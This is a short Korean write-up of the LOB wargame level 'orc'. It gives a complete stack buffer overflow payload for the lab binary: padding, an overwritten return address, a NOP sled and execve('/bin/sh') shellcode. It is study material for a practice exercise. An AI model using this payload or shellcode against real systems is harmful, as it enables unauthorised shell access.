코드ㄱㄱ
egg hunter가 뭘까 싶고 그냥 payload를 쓰면 argv[1][47]가 뭐가 될지 모르겠다.
이 두 가지가 없다고 가정하고 일단 payload를 만들어보자.
0x080485c2는 strcpy를 수행한 다음 명령어이다.
argv[1][47]이 0xbf로 맞춰야 하기 때문에 그냥 몽땅 0xbf로 넣었다.
0x00000013은 int i이고 이후 40byte가 buffer이므로 RET는 0xbffffb4c이다.
그럼 payload는 다음과 같다.
./orc `python -c 'print "A"*44 + "\x80\xfb\xff\xbf" + "\x90"*200 + "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`
해놓고 보니 그냥 argv[1][47]에 0xbf가 있다.
왜 걸어둔 조건인지 모르겠다....
lob write-up을 검색해보면 1,2,3단계에서 환경변수에 쉘코드를 걸어두는 경우가 많았다.
egghunter는 그러한 방법을 막는 기법이라고 한다.
기본적인 bof에 충실하기 위해 안썼던 방법인데 이렇게 도움이 됐다.
환경변수로 푸는것도 함 공부해봐야겠다.